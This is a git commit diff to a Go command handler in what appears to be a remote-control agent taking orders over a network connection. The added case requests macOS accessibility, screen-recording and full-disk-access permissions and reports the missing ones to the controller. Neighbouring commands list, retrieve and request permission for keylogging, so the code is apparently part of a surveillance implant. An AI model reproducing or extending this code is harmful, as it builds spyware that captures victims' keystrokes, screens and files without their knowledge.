better permissions mac

This commit is contained in:
test
2026-06-04 20:41:10 -05:00
parent 4e267f4d36
commit a35de5d129
15 changed files with 256 additions and 10 deletions
@@ -2278,6 +2278,33 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return HandleProcessResume(ctx, env, cmdID, resumePid)
case "keylog_request_permission":
return HandleKeylogRequestPermission(ctx, env, cmdID)
case "darwin_request_permissions":
payload, _ := envelope["payload"].(map[string]interface{})
var requested []string
if raw, ok := payload["permissions"].([]interface{}); ok {
for _, item := range raw {
if key, ok := item.(string); ok && key != "" {
requested = append(requested, key)
}
}
}
perms := sysinfo.RequestDarwinPermissions(requested)
missing := make([]string, 0)
for _, key := range []string{"accessibility", "screenRecording", "fullDiskAccess"} {
if perms == nil || !perms[key] {
missing = append(missing, key)
}
}
detail, _ := json.Marshal(map[string]interface{}{
"permissions": perms,
"missing": missing,
})
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: len(missing) == 0,
Message: string(detail),
})
case "keylog_list":
return HandleKeylogList(ctx, env, cmdID)
case "keylog_retrieve":